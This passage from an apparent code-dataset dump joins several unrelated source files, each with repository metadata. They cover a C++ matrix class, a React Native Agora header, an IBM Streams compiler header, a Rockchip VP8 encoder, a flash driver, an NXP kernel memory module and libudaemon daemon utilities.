operator=(CMatrix<T>& mat) { if(this==&mat)return *this; resize(mat.nrows(),mat.ncols()); int i,j; for(i=0;i<protected_nrows;i++) { for(j=0;j<protected_ncols;j++) { element[i][j]=mat.element[i][j]; } } return *this; } /*Subscript operator*/inline T* operator[](int pos){return element[pos];}; }; }; #endif
0.992188
high
ios/src/AgoraRTM.h
blacktag/agora-react-native-rtm
47
845505
<filename>ios/src/AgoraRTM.h // // AgoraRTM.h // AgoraRTM // // Created by Matrixbirds on 2019/5/27. // #ifndef AgoraRTM_h #define AgoraRTM_h #import <AgoraRtmKit/AgoraRtmKit.h> #import <React/RCTBridgeModule.h> #import <React/RCTEventEmitter.h> @interface AgoraRTM : RCTEventEmitter <RCTBridgeModule, AgoraRtmChannelDelegate, AgoraRtmDelegate, AgoraRtmCallDelegate> - (void)sendEvent:(NSString *)msg params:(NSArray *)params; @end #endif /* AgoraRTM_h */
0.789063
high
src/cpp/SPL/FrontEnd/GenericsUnifier.h
IBMStreams/OSStreams
10
846017
/* * Copyright 2021 IBM Corporation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef SPL_GENERICS_UNIFIER_H #define SPL_GENERICS_UNIFIER_H #include <SPL/Runtime/Utility/Visibility.h> #include <string> namespace SPL { class RootTyp; class BoundsFormal; class CallExpressionSym; class FunctionHeadSym; class TypeBound; class TypeFormal; /// Unifies two generic entities by matching their free generic types /// and bounds, and encapsulates the result of the unification, which is /// either a failure or a substitution for those free types and bounds. /// This is an adaptation of a standard unification algorithm which is /// described, for example, in the Russell/Norvig AI textbook. class DLL_PUBLIC GenericsUnifier { public: /// Unify two types. static GenericsUnifier& unify(RootTyp const&, RootTyp const&); /// Unify a call (which has concrete actual parameter types) against /// a function declaration (which potentially has generic type and /// bounds parameters). static GenericsUnifier& unify(CallExpressionSym const&, FunctionHeadSym const&); /// Unify two function declarations. static GenericsUnifier& unify(FunctionHeadSym const&, FunctionHeadSym const&); /// Destructor. virtual ~GenericsUnifier() {} /// Find out what a bounds-formal got unified to. virtual TypeBound const& get(BoundsFormal const&) const = 0; /// Find out what a type-formal got unified to. virtual RootTyp const& get(TypeFormal const&) const = 0; /// Find out whether a bounds-formal was constrained at all. virtual bool has(BoundsFormal const&) const = 0; /// Find out whether a type-formal was constrained at all. virtual bool has(TypeFormal const&) const = 0; /// Find out whether unification failed, because the two entities /// were incompatible. virtual bool isFailure() const = 0; /// Apply the substitution from this unification to a type. virtual RootTyp const& substitute(RootTyp const&) const; }; /// Check whether a type belongs to a certain category. The chapter on /// types in the language specification shows a tree diagram where the /// type categories are inner nodes, and concrete types are leaves. /// @param type concrete type, e.g., int32 /// @param constraint category of types, e.g., numeric bool satisfiesConstraint(RootTyp const& type, std::string const& constraint, bool useUnderlyingType = true) DLL_PUBLIC; /// Check whether unification between these two types succeeds, i.e., /// results in a unifier for which isFailure() is false. bool unifies(RootTyp const&, RootTyp const&) DLL_PUBLIC; }; #endif /*SPL_GENERICS_UNIFIER_H*/
0.996094
high
QzToolKit/Classes/Storage/KeyChain/QzKeyChain.h
mqiezi/QzToolkit
1
846529
// // QzKeyChain.h // QzToolKit // // Created by JzProl.m.Qiezi on 2020/4/1. // Copyright © 2020 com.mqiezi. All rights reserved. // #import <Foundation/Foundation.h> NS_ASSUME_NONNULL_BEGIN @interface QzKeyChain : NSObject + (nullable id)objectForKey:(NSString *)key; + (void)setObject:(nullable id)value forKey:(NSString *)key; + (void)removeObjectForKey:(NSString *)key; @end NS_ASSUME_NONNULL_END
0.90625
high
mpp/codec/enc/vp8/vp8e_api_v2.c
Fruit-Pi/mpp
312
847041
/* * Copyright 2015 Rockchip Electronics Co. LTD * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #define MODULE_TAG "vp8e_api_v2" #include <string.h> #include <vp8e_syntax.h> #include "mpp_env.h" #include "mpp_log.h" #include "mpp_mem.h" #include "mpp_common.h" #include "mpp_rc.h" #include "mpp_enc_cfg_impl.h" #include "vp8e_api_v2.h" #include "vp8e_rc.h" #include "vp8e_syntax.h" #define VP8E_DBG_FUNCTION (0x00000001) #define VP8E_DBG_CFG (0x00000002) #define vp8e_dbg_cfg(fmt, ...) _mpp_dbg_f(vp8e_debug, VP8E_DBG_CFG, fmt, ## __VA_ARGS__) #define vp8e_dbg_fun(fmt, ...) _mpp_dbg_f(vp8e_debug, VP8E_DBG_FUNCTION, fmt, ## __VA_ARGS__) RK_U32 vp8e_debug = 0; #define VP8E_SYN_BUTT 2 typedef struct { /* config from mpp_enc */ MppEncCfgSet *cfg; /* internal rate control config*/ Vp8eRc *rc; Vp8eSyntax vp8e_syntax[VP8E_SYN_BUTT]; } Vp8eCtx; static MPP_RET vp8e_init(void *ctx, EncImplCfg *ctrl_cfg) { MPP_RET ret = MPP_OK; Vp8eCtx *p = (Vp8eCtx *)ctx; MppEncRcCfg *rc_cfg = &ctrl_cfg->cfg->rc; MppEncPrepCfg *prep = &ctrl_cfg->cfg->prep; vp8e_dbg_fun("enter\n"); if (NULL == ctx || NULL == ctrl_cfg) { mpp_err_f("Init failed, contex or controller cfg is null!\n"); ret = MPP_NOK; goto __ERR_RET; } p->cfg = ctrl_cfg->cfg; /* * default prep: * 720p * YUV420SP */ prep->change = 0; prep->width = 1280; prep->height = 720; prep->hor_stride = 1280; prep->ver_stride = 720; prep->format = MPP_FMT_YUV420SP; prep->rotation = MPP_ENC_ROT_0; prep->mirroring = 0; prep->denoise = 0; /* * default rc_cfg: * CBR * 2Mbps +-25% * 30fps * gop 60 */ rc_cfg->change = 0; rc_cfg->rc_mode = MPP_ENC_RC_MODE_CBR; rc_cfg->quality = MPP_ENC_RC_QUALITY_MEDIUM; rc_cfg->bps_target = 2000 * 1000; rc_cfg->bps_max = rc_cfg->bps_target * 5 / 4; rc_cfg->bps_min = rc_cfg->bps_target * 3 / 4; rc_cfg->fps_in_flex = 0; rc_cfg->fps_in_num = 30; rc_cfg->fps_in_denorm = 1; rc_cfg->fps_out_flex = 0; rc_cfg->fps_out_num = 30; rc_cfg->fps_out_denorm = 1; rc_cfg->gop = 60; rc_cfg->max_reenc_times = 0; p->rc = mpp_calloc(Vp8eRc, 1); memset(p->rc, 0, sizeof(Vp8eRc)); p->rc->frame_coded = 1; if (NULL == p->rc) { mpp_err_f("failed to malloc vp8_rc\n"); ret = MPP_ERR_MALLOC; goto __ERR_RET; } mpp_env_get_u32("vp8e_debug", &vp8e_debug, 0); vp8e_dbg_fun("leave ret %d\n", ret); return ret; __ERR_RET: vp8e_dbg_fun("leave ret %d\n", ret); return ret; } static MPP_RET vp8e_deinit(void *ctx) { Vp8eCtx *p = (Vp8eCtx *)ctx; vp8e_dbg_fun("enter\n"); if (p->rc) mpp_free(p->rc); vp8e_dbg_fun("leave\n"); return MPP_OK; } static MPP_RET vp8e_start(void *ctx, HalEncTask *task) { (void)ctx; (void)task; return MPP_OK; } static MPP_RET vp8e_proc_dpb(void *ctx, HalEncTask *task) { (void)ctx; EncRcTask *rc_task = task->rc_task; EncCpbStatus *cpb = &task->rc_task->cpb; rc_task->frm.val = cpb->curr.val; return MPP_OK; } static MPP_RET vp8e_proc_prep_cfg(MppEncPrepCfg *dst, MppEncPrepCfg *src) { MPP_RET ret = MPP_OK; RK_U32 change = src->change; mpp_assert(change); if (change) { if (change & MPP_ENC_PREP_CFG_CHANGE_INPUT) { if ((src->width < 0 || src->width > 1920) || (src->height < 0 || src->height > 3840) || (src->hor_stride < 0 || src->hor_stride > 3840) || (src->ver_stride < 0 || src->ver_stride > 3840)) { mpp_err("invalid input w:h [%d:%d] [%d:%d]\n", src->width, src->height, src->hor_stride, src->ver_stride); ret = MPP_NOK; } dst->width = src->width; dst->height = src->height; dst->ver_stride = src->ver_stride; dst->hor_stride = src->hor_stride; } if (change & MPP_ENC_PREP_CFG_CHANGE_FORMAT) { if ((src->format < MPP_FRAME_FMT_RGB && src->format >= MPP_FMT_YUV_BUTT) || src->format >= MPP_FMT_RGB_BUTT) { mpp_err("invalid format %d\n", src->format); ret = MPP_NOK; } dst->format = src->format; } dst->change |= src->change; vp8e_dbg_cfg("width %d height %d hor_stride %d ver_srtride %d format 0x%x\n", dst->width, dst->height, dst->hor_stride, dst->ver_stride, dst->format); } return ret; } static MPP_RET vp8e_proc_split_cfg(MppEncSliceSplit *dst, MppEncSliceSplit *src) { MPP_RET ret = MPP_OK; RK_U32 change = src->change; if (change & MPP_ENC_SPLIT_CFG_CHANGE_MODE) { dst->split_mode = src->split_mode; dst->split_arg = src->split_arg; } if (change & MPP_ENC_SPLIT_CFG_CHANGE_ARG) dst->split_arg = src->split_arg; dst->change |= change; return ret; } static MPP_RET vp8e_proc_vp8_cfg(MppEncVp8Cfg *dst, MppEncVp8Cfg *src) { RK_U32 change = src->change; if (change & MPP_ENC_VP8_CFG_CHANGE_QP) { dst->qp_init = src->qp_init; dst->qp_max = src->qp_max; dst->qp_min = src->qp_min; dst->qp_max_i = src->qp_max_i; dst->qp_min_i = src->qp_min_i; } if (change & MPP_ENC_VP8_CFG_CHANGE_DIS_IVF) { dst->disable_ivf = src->disable_ivf; } vp8e_dbg_cfg("rc cfg qp_init %d qp_max %d qp_min %d qp_max_i %d qp_min_i %d, disable_ivf %d\n", dst->qp_init, dst->qp_max, dst->qp_min, dst->qp_max_i, dst->qp_min_i, dst->disable_ivf); dst->change |= src->change; return MPP_OK; } static MPP_RET vp8e_proc_cfg(void *ctx, MpiCmd cmd, void *param) { MPP_RET ret = MPP_OK; Vp8eCtx *p = (Vp8eCtx *)ctx; MppEncCfgSet *cfg = p->cfg; MppEncCfgImpl *impl = (MppEncCfgImpl *)param; MppEncCfgSet *src = &impl->cfg; vp8e_dbg_fun("enter ctx %p cmd %x param %p\n", ctx, cmd, param); switch (cmd) { case MPP_ENC_SET_CFG : { if (src->prep.change) { ret |= vp8e_proc_prep_cfg(&cfg->prep, &src->prep); src->prep.change = 0; } if (src->codec.vp8.change) { ret |= vp8e_proc_vp8_cfg(&cfg->codec.vp8, &src->codec.vp8); src->codec.vp8.change = 0; } if (src->split.change) { ret |= vp8e_proc_split_cfg(&cfg->split, &src->split); src->split.change = 0; } } break; default: { mpp_err("No correspond cmd found, and can not config!"); ret = MPP_NOK; } break; } vp8e_dbg_fun("leave ret %d\n", ret); return ret; } static MPP_RET vp8e_proc_hal(void *ctx, HalEncTask *task) { Vp8eCtx *p = (Vp8eCtx *)ctx; Vp8eSyntax *syntax = &p->vp8e_syntax[0]; RK_U32 syn_num = 0; syntax[syn_num].type = VP8E_SYN_CFG; syntax[syn_num].data = p->cfg; syn_num++; syntax[syn_num].type = VP8E_SYN_RC; syntax[syn_num].data = p->rc; syn_num++; task->syntax.data = syntax; task->syntax.number = syn_num; task->valid = 1; return MPP_OK; } const EncImplApi api_vp8e = { .name = "vp8_control", .coding = MPP_VIDEO_CodingVP8, .ctx_size = sizeof(Vp8eCtx), .flag = 0, .init = vp8e_init, .deinit = vp8e_deinit, .proc_cfg = vp8e_proc_cfg, .gen_hdr = NULL, .start = vp8e_start, .proc_dpb = vp8e_proc_dpb, .proc_hal = vp8e_proc_hal, .add_prefix = NULL, .sw_enc = NULL, };
0.996094
high
mcu/source/Drivers/hs_flash/hs_flash.c
machunyu/dac200b
0
847553
<reponame>machunyu/dac200b #include <string.h> #include "hs_flash.h" #include "hs_config.h" #include "hs_delay.h" static uint8_t hs_flash_set_base(uint32_t ulBaseAddr) { uint8_t ret = 0; uint32_t ulConfig[2]; SYS_UnlockReg(); FMC_Open(); if (FMC_ReadConfig(ulConfig, 2) < 0) { ret = 1; goto exit; } if ((!(ulConfig[0] & 0x1)) && (ulConfig[1] == ulBaseAddr)) { ret = 0; goto exit; } FMC_ENABLE_CFG_UPDATE(); ulConfig[0] &= ~0x1; ulConfig[1] = ulBaseAddr; if (FMC_WriteConfig(ulConfig, 2) < 0) { ret = 1; goto exit; } SYS->IPRST_CTL1 = SYS_IPRST_CTL1_CHIP_RST_Msk; FMC_Close(); SYS_LockReg(); return 0; exit: /* Disable FMC ISP function */ FMC_Close(); /* Lock protected registers */ SYS_LockReg(); return ret; } #if 0 uint8_t hs_set_bod_mode(uint32_t mode) { uint8_t ucCurBODMode = 0; uint32_t ulConfig[2]; SYS_UnlockReg(); FMC_Open(); if (FMC_ReadConfig(ulConfig, 2) < 0) { FMC_Close(); SYS_LockReg(); return 1; } ucCurBODMode = (ulConfig[0] >> 19) & 0x3; if(ucCurBODMode != mode) { FMC_ENABLE_CFG_UPDATE(); ulConfig[0] &= ~(0x3 << 19); ulConfig[0] |= mode << 19; if (FMC_WriteConfig(ulConfig, 2) < 0) { FMC_Close(); SYS_LockReg(); return 1; } SYS->IPRST_CTL1 = SYS_IPRST_CTL1_CHIP_RST_Msk; } if(BOD_MODE_EN_BOD25 == mode) { SYS_ENABLE_BOD25_RST(); SYS_ENABLE_BOD25(); } else if(BOD_MODE_EN_BOD20 == mode) { SYS_ENABLE_BOD20_RST(); SYS_ENABLE_BOD20(); } else if(BOD_MODE_EN_BOD17 == mode) { SYS_ENABLE_BOD17_RST(); SYS_ENABLE_BOD17(); } FMC_Close(); SYS_LockReg(); return 0; } #endif static uint8_t hs_flash_page_read(uint32_t pageAddr, uint32_t *data) { uint16_t i; uint32_t ulStartAddr = pageAddr; for(i=0; i<HS_CFG_FLASH_PAGE_SIZE/4; i++) { *data++ = FMC_Read(ulStartAddr); ulStartAddr += 4; } return 0; } static uint8_t hs_flash_page_write(uint32_t pageAddr, uint32_t *data) { uint16_t i; uint32_t ulStartAddr = pageAddr; for(i=0; i<HS_CFG_FLASH_PAGE_SIZE/4; i++) { FMC_Write(ulStartAddr, *data++); ulStartAddr += 4; } return 0; } uint8_t hs_flash_init(void) { return hs_flash_set_base(HS_CFG_DATA_FLASH_BASE); } uint8_t hs_flash_write(uint32_t addr, uint8_t *data, uint32_t len) { uint8_t PageData[512] = { 0 }; uint32_t ulAddr, ulPageAddr, ulOffset, ulWriteSize; SYS_UnlockReg(); FMC_Open(); ulAddr = HS_CFG_DATA_FLASH_BASE + addr; ulOffset = (ulAddr % HS_CFG_FLASH_PAGE_SIZE); ulPageAddr = (ulAddr / HS_CFG_FLASH_PAGE_SIZE) * HS_CFG_FLASH_PAGE_SIZE; if((ulOffset+len) <= 512) { ulWriteSize = len; } else { ulWriteSize = (512 - ulOffset); } hs_flash_page_read(ulPageAddr, (uint32_t*)PageData); memcpy(PageData+ulOffset, data, ulWriteSize); FMC_Erase(ulPageAddr); hs_flash_page_write(ulPageAddr, (uint32_t*)PageData); data += ulWriteSize; len -= ulWriteSize; if(len > 0) { ulPageAddr += HS_CFG_FLASH_PAGE_SIZE; } while(len > HS_CFG_FLASH_PAGE_SIZE) { FMC_Erase(ulPageAddr); hs_flash_page_write(ulPageAddr, (uint32_t*)data); data += HS_CFG_FLASH_PAGE_SIZE ; len -= HS_CFG_FLASH_PAGE_SIZE; ulPageAddr += HS_CFG_FLASH_PAGE_SIZE; } if(len > 0) { hs_flash_page_read(ulPageAddr, (uint32_t*)PageData); memcpy(PageData, data, len); FMC_Erase(ulPageAddr); hs_flash_page_write(ulPageAddr, (uint32_t*)PageData); } FMC_Close(); SYS_LockReg(); return 0; } uint8_t hs_flash_read(uint32_t addr, uint8_t *data, uint32_t len) { uint8_t PageData[512] = { 0 }; uint32_t ulAddr, ulPageAddr, ulOffset, ulReadSize; SYS_UnlockReg(); FMC_Open(); ulAddr = HS_CFG_DATA_FLASH_BASE + addr; ulOffset = ulAddr % HS_CFG_FLASH_PAGE_SIZE; ulPageAddr = (ulAddr / HS_CFG_FLASH_PAGE_SIZE) * HS_CFG_FLASH_PAGE_SIZE; if((ulOffset+len) <= 512) { ulReadSize = len; } else { ulReadSize = (512 - ulOffset); } hs_flash_page_read(ulPageAddr, (uint32_t*)PageData); memcpy(data, PageData+ulOffset, ulReadSize); data += ulReadSize; len -= ulReadSize; if(len > 0) { ulPageAddr += HS_CFG_FLASH_PAGE_SIZE; } while(len > HS_CFG_FLASH_PAGE_SIZE) { hs_flash_page_read(ulPageAddr, (uint32_t*)data); data += HS_CFG_FLASH_PAGE_SIZE; len -= HS_CFG_FLASH_PAGE_SIZE; ulPageAddr += HS_CFG_FLASH_PAGE_SIZE; } if(len > 0) { hs_flash_page_read(ulPageAddr, (uint32_t*)PageData); memcpy(data, PageData, len); } FMC_Close(); SYS_LockReg(); return 0; } uint32_t hs_flash_erase(uint32_t pageIndex, uint32_t pages) { int32_t ulPageAddr, i, n = 0, ret = 0; SYS_UnlockReg(); FMC_Open(); ulPageAddr = HS_CFG_DATA_FLASH_BASE + pageIndex * HS_CFG_FLASH_PAGE_SIZE; for(i=0; i<pages; i++) { ret = FMC_Erase(ulPageAddr); if(!ret) { n++; } ulPageAddr += HS_CFG_FLASH_PAGE_SIZE; } FMC_Close(); SYS_LockReg(); return (pages - n); }
0.996094
high
s32v234_sdk/libs/utils/oal/kernel/src/integrity/os_kernel_module.c
intesight/Panorama4AIWAYS
0
848065
<gh_stars>0 /***************************************************************************** * * NXP Confidential Proprietary * * Copyright (c) 2017 NXP; * All Rights Reserved * ***************************************************************************** * * THIS SOFTWARE IS PROVIDED BY NXP "AS IS" AND ANY EXPRESSED OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL NXP OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF * THE POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ #include <bsp.h> #include <INTEGRITY.h> #include <memoryspace.h> #include <buildmemtable.h> #include <oal.h> #ifndef __S32V234 #ifndef VLAB #include <modules/ghs/bspsrc/support/atags.h> #else // ifndef VLAB void ATAGS_KernelMap(ExtendedAddress ExtendedKernelAddress, uint32_t PhysicalAddress, Address Length, Value Attributes, MemoryType Type) { PhysicalRange pr; pr.Attributes = Attributes; pr.First = ExtendedKernelAddress; pr.Last = ExtendedKernelAddress + Length - 1; pr.Type = Type; if (IsKernelAddress(ExtendedKernelAddress)) { ASP_KernelMap((Address)ExtendedKernelAddress, PhysicalAddress, Length, Attributes); } CheckSuccess(BMT_RegisterAdditionalPhysicalRange(&pr )); MemorySpace_RegisterAnonymousMemoryWindow( &ExtendedKernelMemorySpace, ExtendedKernelAddress, &PhysicalMemorySpace, PhysicalAddress, Length, 0); } #endif // else from ifndef VLAB #else #include <devtree_bus_utils.h> #endif // __S32V234 /*======================================================================================*/ /* Memory space for OAL */ #ifndef __S32V234 static MemoryReservation oal_memspace; #else static MemorySpace OAL_MemorySpace; #endif #ifdef __S32V234 /*======================================================================================*/ /* IODevice OAL memory translation */ struct IODeviceVectorStruct OAL_IodeviceVector; static Address oal_BaseKernAddress; static ExtendedAddress oal_TransAddr; /*======================================================================================*/ /* Write register IODevice function */ static Error oaldriver_writeregister(IODeviceVector io, Value id, Value val) { Error RetVal = Success; switch (id) { case OAL_IODEVICE_GET_PHYSICAL: { oal_TransAddr = val; if ((oal_TransAddr < oal_BaseKernAddress) || (oal_TransAddr > (oal_BaseKernAddress + OAL_DDR_PHYSICAL_POOL_SIZE - 1))) { oal_TransAddr = 0; RetVal = IllegalAddress; } break; } default: RetVal = IllegalRegisterNumber; } return RetVal; } /*======================================================================================*/ /* Read register IODevice function */ static Error oaldriver_readregister(IODeviceVector io, Value id, Value *val) { Error RetVal = Success; switch (id) { case OAL_IODEVICE_GET_PHYSICAL: { MemorySpaceAddress MemSpaceAddr; ExtendedAddress Len; Value Flags; RetVal = MemorySpace_GetDmaAddress(OAL_MemorySpace, oal_TransAddr, &MemSpaceAddr, &Len, &Flags); if (RetVal == Success) { *val = MemSpaceAddr; } break; } default: RetVal = IllegalRegisterNumber; } return RetVal; } #endif // __S32V234 /*======================================================================================*/ /* Init function for OAL */ void oaldriver_iodevice_init(void) { #ifndef __S32V234 ExtendedAddress addr; #ifndef VLAB ATAGS_KernelMap(OAL_DDR_PHYSICAL_POOL_BASE, OAL_DDR_PHYSICAL_POOL_BASE, OAL_DDR_PHYSICAL_POOL_SIZE, MEMORY_RW | MEMORY_VOLATILE | MEMORY_ARM_STRONGLY_ORDERED, Other_MemoryType); oal_memspace.Attributes = MEMORY_RW | MEMORY_VOLATILE | MEMORY_ARM_STRONGLY_ORDERED; #else // ifndef VLAB ATAGS_KernelMap(OAL_DDR_PHYSICAL_POOL_BASE, OAL_DDR_PHYSICAL_POOL_BASE, OAL_DDR_PHYSICAL_POOL_SIZE, MEMORY_RW | MEMORY_VOLATILE, Other_MemoryType); oal_memspace.Attributes = MEMORY_RW | MEMORY_VOLATILE; #endif // else from ifndef VLAB oal_memspace.PhysicalSpaceNumber = 0; oal_memspace.First = OAL_DDR_PHYSICAL_POOL_BASE; oal_memspace.Last = OAL_DDR_PHYSICAL_POOL_BASE+OAL_DDR_PHYSICAL_POOL_SIZE-1; oal_memspace.Type = Other_MemoryType; oal_memspace.Fixed = true; oal_memspace.FirstMask = BMT_MASK(1); oal_memspace.LastMask = BMT_MASK(1); oal_memspace.name = "oal_memory"; BMT_AllocateFromAnonymousMemoryReservation(&oal_memspace, &addr); #else // __S32V234 // Create a contiguous memory region suitable for DMA use MemorySpaceAddress MemSpaceAddr; CacheCoherencyMode CoherencyMode; CheckSuccess(DevTree_Node_GetMemorySpaces( DevTree_GetRootNode(DevTree_GetTree()), NULL, 0, NULL, NULL, NULL, &OAL_MemorySpace)); CheckSuccess(MemorySpace_AllocateDmaMemory(OAL_MemorySpace, OAL_DDR_PHYSICAL_POOL_SIZE, ASP_PAGESIZE, MEMORY_RW, WriteCacheCoherency, OAL_DDR_RESOURCE_NAME, &MemSpaceAddr, &oal_BaseKernAddress, &CoherencyMode)); Assert(CoherencyMode == WriteCacheCoherency); // IODevice functions OAL_IodeviceVector.WriteRegister = oaldriver_writeregister; OAL_IodeviceVector.ReadRegister = oaldriver_readregister; RegisterIODeviceVector(&OAL_IodeviceVector, OAL_IODEVICE_NAME); #endif // __S32V234 consolestring("OAL Memory ready.\n"); } typedef void (*voidfunc)(); voidfunc __ghsentry_bspuserinit_oal_regmap = oaldriver_iodevice_init; #pragma ghs alias __ghsautoimport_oal_regmap __ghsentry_bspuserinit_oal_regmap
0.996094
high
src/ud_utils.c
jawi/libudaemon
0
848577
/* * libudaemon - micro daemon library. * * Copyright: (C) 2020 jawi * License: Apache License 2.0 */ #define _POSIX_C_SOURCE 200809L #define _DEFAULT_SOURCE #include <ctype.h> #include <dirent.h> #include <errno.h> #include <fcntl.h> #include <stdbool.h> #include <stddef.h> #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pwd.h> #include <grp.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/types.h> #include "udaemon/ud_utils.h" #include "udaemon/ud_logging.h" /** * Converts a given string to a numeric value, presuming it represents a * positive integer value. * * @param str the string to convert to a number, cannot be NULL. * @return the numeric representation of the given string, or -1 * if the given value could not be completely parsed. */ static int64_t strtonum(const char *name) { char *ep = NULL; int64_t result = strtol(name, &ep, 10); if (*ep != '\0') { // name was not entirely parsed... return -1; } return result; } /** * Closes all file descriptors that fall inside the given range of file * descriptors. This can take a long time with a large ulimit! */ static void ud_closefrom_fallback(int lowfd, int maxfd) { for (int fd = lowfd + 1; fd < maxfd; fd++) { close(fd); } } /** * Closes all file descriptors found in `/proc/self/fd` that fall inside the * given range of file descriptors. */ static void ud_closefrom_proc(DIR *dirp, int lowfd, int maxfd) { struct dirent *entry; while ((entry = readdir(dirp)) != NULL) { int64_t fd = strtonum(entry->d_name); if ((fd == dirfd(dirp)) || (fd <= lowfd) || (fd >= maxfd)) { // don't close ourselves, or outside our defined boundaries... continue; } #ifdef HAVE_FD_CLOEXEC // close automatically when execve is performed... fcntl((int) fd, F_SETFD, FD_CLOEXEC); #else // close directly; presume we don't need it anymore... close((int) fd); #endif } } #define SATURATE(n) (int)(((n) > __INT_MAX__) ? __INT_MAX__ : ((n) <= 0) ? 1024 : (n)) /** * Linux does not provide a `closefrom` syscall, hence we need to implement such * functionality ourselves. */ void ud_closefrom(int lowfd) { if (lowfd < 0) { errno = EINVAL; return; } struct rlimit rl; int maxfd; if (getrlimit(RLIMIT_NOFILE, &rl) == 0 && rl.rlim_max != RLIM_INFINITY) { maxfd = SATURATE(rl.rlim_max); } else { maxfd = SATURATE(sysconf(_SC_OPEN_MAX)); } const char *path = "/proc/self/fd"; DIR *dirp = opendir(path); if (dirp) { log_debug("Closing file descriptors using proc from %d..%d\n", lowfd, maxfd); ud_closefrom_proc(dirp, lowfd, maxfd); (void)closedir(dirp); } else { log_debug("Closing file descriptors using fallback from %d..%d\n", lowfd, maxfd); ud_closefrom_fallback(lowfd, maxfd); } } /** * Drops the privileges of the running process to the user identified by the given UID/GID. * * @param uid the user id to drop privileges to; * @param gid the group id to drop privileges to. * @return 0 if successful, or non-zero in case of failure. */ static int drop_privileges(uid_t uid, gid_t gid) { if (getuid() != 0) { // not running as root... log_debug("Not running as root, not going to drop privileges..."); return 0; } if (setgid(gid) != 0) { log_error("Unable to drop group privileges: %m"); return -1; } if (setuid(uid) != 0) { log_error("Unable to drop user privileges: %m"); return -1; } return 0; } /** * Writes the process ID of the running process to a file. * * @param pidfile the path to the PID file to write; * @param uid the owning user ID of the PID file; * @param gid the owning group ID of the PID file; * @return 0 if successful, or non-zero in case of failure. */ static int write_pidfile(const char *pidfile, uid_t uid, gid_t gid) { const bool is_root = (getuid() == 0); if (unlink(pidfile)) { if (is_root && (errno != ENOENT)) { log_error("Unable to remove pidfile: %m"); } } int fd; if ((fd = open(pidfile, O_WRONLY|O_CREAT|O_EXCL|O_NOFOLLOW, S_IWUSR|S_IRUSR|S_IRGRP|S_IROTH)) < 0) { if (is_root) { log_error("Unable to create pidfile: %m"); return -1; } else { // no sense in continuing here, write will fail any way... log_debug("Not running as root, but unable to write PID file: %m"); return 0; } } // ensure the pid file has the correct permissions... if (is_root && uid != 0) { if (fchown(fd, uid, gid)) { log_error("Unable to change ownership of pidfile: %m"); } } dprintf(fd, "%d\n", getpid()); close(fd); return 0; } int ud_parse_uid(const char *entry, uid_t *uid, gid_t *gid) { int64_t val = -1; int retval = 0; struct passwd *pwd; struct group *grp; if (!entry || strlen(entry) == 0) { pwd = getpwnam("nobody"); if (!pwd) { log_warning("Unable to find user 'nobody'!"); return 1; } *uid = pwd->pw_uid; *gid = pwd->pw_gid; return 0; } // create a copy where we can mutate stuff at will... char *user = strdup(entry); // determine whether we've got a group in our description... char *group = strrchr(user, ':'); if (group) { // usr now contains the user only :) *group++ = '\0'; } // try whether it is a numeric uid... val = strtonum(user); if (val >= 0) { pwd = getpwuid((uid_t) (val & UINT32_MAX)); } else { pwd = getpwnam(user); } if (!pwd) { log_warning("No such user: '%s'", user); retval = 1; goto cleanup; } *uid = pwd->pw_uid; *gid = pwd->pw_gid; if (group) { val = strtonum(group); if (val >= 0) { grp = getgrgid((gid_t) (val & UINT32_MAX)); } else { grp = getgrnam(group); } if (!grp) { log_warning("No such group defined: '%s'", group); retval = 1; goto cleanup; } *gid = grp->gr_gid; } log_debug("Parsed %s as uid %d, gid %d...", entry, *uid, *gid); cleanup: // clean up... free(user); return retval; } #define SAFE_SIGNAL(rc) \ int _rc = rc; \ if (write(err_pipe[1], &_rc, 1) != 1) { \ log_warning("Failed to write single byte to pipe!"); \ } \ close(err_pipe[1]); #define SIGNAL_SUCCESS() \ do { \ SAFE_SIGNAL(err_none) \ } while (0) #define SIGNAL_FAILURE(rc) \ do { \ SAFE_SIGNAL(rc) \ exit(rc); \ } while (0) int daemonize(const char *pid_file, uid_t uid, gid_t gid) { // create a anonymous pipe to communicate between daemon and our parent... int err_pipe[2] = { 0 }; if (pipe(err_pipe) < 0) { log_error("Failed to create pipe for daemon to parent communication!"); return -err_pipe_create; } pid_t pid = fork(); if (pid < 0) { log_error("Failed to fork from calling process!"); return -err_fork; } else if (pid > 0) { // parent, wait until daemon is finished initializing... close(err_pipe[1]); int rc = 0; if (read(err_pipe[0], &rc, 1) < 0) { rc = err_pipe_read; } exit(rc); } else { /* pid == 0 */ // first child continues here... // NOTE: we can/should communicate our state to our parent in order for it to terminate! // we only write to this pipe... close(err_pipe[0]); // create a new session... pid = setsid(); if (pid < 0) { SIGNAL_FAILURE(err_setsid); } // fork again to ensure the daemon cannot take back the controlling tty... pid = fork(); if (pid < 0) { log_error("Failed to fork for as daemon!"); SIGNAL_FAILURE(err_daemonize); } else if 